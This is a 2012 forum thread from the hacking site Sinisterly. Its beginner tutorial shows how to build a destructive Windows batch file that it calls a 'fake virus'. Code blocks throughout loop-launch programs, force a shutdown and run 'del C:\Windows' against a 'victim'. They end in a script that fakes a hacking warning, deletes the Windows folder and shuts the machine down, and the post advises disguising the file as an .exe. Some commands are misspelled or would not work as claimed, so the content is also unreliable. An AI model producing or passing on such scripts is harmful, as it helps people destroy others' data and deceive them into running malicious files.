Sinisterly
How to make fake vira in .bat - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Coding (https://sinister.ly/Forum-Coding)
+--- Forum: Coding (https://sinister.ly/Forum-Coding--71)
+--- Thread: How to make fake vira in .bat (/Thread-How-to-make-fake-vira-in-bat)



How to make fake vira in .bat - Asuna_mybb_import7736 - 02-26-2012

Hey guys!
This is my first tut, so plzz don't hate me -.-' .

Here are some examples what you can with batch files:
1. Start things (explore, calculator, notepad etc.).
2. Stop things...
3. Destroy things :lol:
4. Make some fun...

For making a batch file, start with open notepad.
Now type: @echo off
Thats indicate that we are starting to make it.
Now lets open something! Type: start <program>
It will look like this:
Quote:@echo off
start iexplore.exe

You can put anything in there. You dont need to use iexplore.

Okay now lets make a message! Type: echo <Your message>
The message will be showed in Command Prompt.
It would look like this:
Quote:@echo off
echo Just like this!! :D

Okay, now lets make sure the victim will read this. Type: pause
Pause indicates that the user need to press any key, before it will go further.
It look like this:
Quote:@echo off
echo Your make a note here!
pause

Now lets try to keep starting something. Lets try with iexplore.
It would look like this:
Quote:@echo off
:anything
start iexplore.exe
goto anything

You can stop a program with following:
Quote:@echo off
tskkill iexplore.exe

Lets try to shutdown a computer! There are some different codes for this.


No Switches: Display information about the shutdown command, same as typing “-?”

-i: Display a GUI. It must be the first switch

-l: Log off the user (This cannot be used on a remote machine: “-m” switch)

-s: Shutdown the computer

-r: Restart the computer

-a: Cancels a system shutdown already in progress

-f: Forces running applications to close without warning

-m \\computername: Instruct a remote computer to shutdown (can be used with the restart & abort switches)

-t xx: Set a given time for shutdown, in seconds

-c “comment”: Shutdown comment (maximum of 127 characters)

-d [u] [p]:xx:yy: The reason code for the shutdown:
u is the user code
p is a planned shutdown code
xx is the major reason code (positive integer less than 256)
yy is the minor reason code (positive integer less than 65536)


You don’t have to use them all, but the switches you do use must be in the following order:

shutdown [-i | -l | -s | -r | -a] [-f] [-m \\computername] [-t xx] [-c "comment"] [-d up:xx:yy]

So lets try:
Quote:@echo off
shutdown -s -f -t 20 -c "Any message here"

To delete things you need to now the direction! Lets try to delete Windows!
Type following:
Quote:@echo off
del C:\Windows

Now lets start with some of the dangerous codes!!
Now you now some of the basic features in batch file making.
Lets try to make a really dangerous fake virus. We only use what we have learned so far.

Lets try this:
Quote:@echo off
echo You are getting hacked!!
echo Press any key to protect your computer.
pause
del C:\Windows
shutdown -s -f -t 20 -c "To bad! I just deleted Windows! :P"

Now we have destroyed the victims Windows system. He will never could start up unless he gets Windows installed again.

All batch files needs to be saved a specific way: Save 'em as: anything.bat and choose all files.

You can search for a bat to exe converter on google to make it less suspicius (spell?)

Hope this helped you! :D I have made it by myself.
Plzz give a feedback for missing parts or things you would like learn :)


RE: How to make fake vira in .bat - DaPaus - 02-26-2012

Proberly you have putted some time in it, I respect that.
The following points are only to help you not to demotivate you.

[*] Try to know what a command does: like "@echo off" means Don't show the commands.
[*] When you use start <Program> it will not allways work. I think it only works with basic programs. For installed programs you will need to give it the filepath.
[*] Hold a good structure in the lay out. As an example: you leave a blank line between every subject I think, but you start leaving blank lines between the shutdown parameters too. I would use numbers for each step so people know when you start something new.




RE: How to make fake vira in .bat - Asuna_mybb_import7736 - 02-26-2012

Thanks for your feedback Smile
Im from Denmark, so just translating took a lot of time :/

Well, at me the start function opens everything...
But again, thanks for your feedback Smile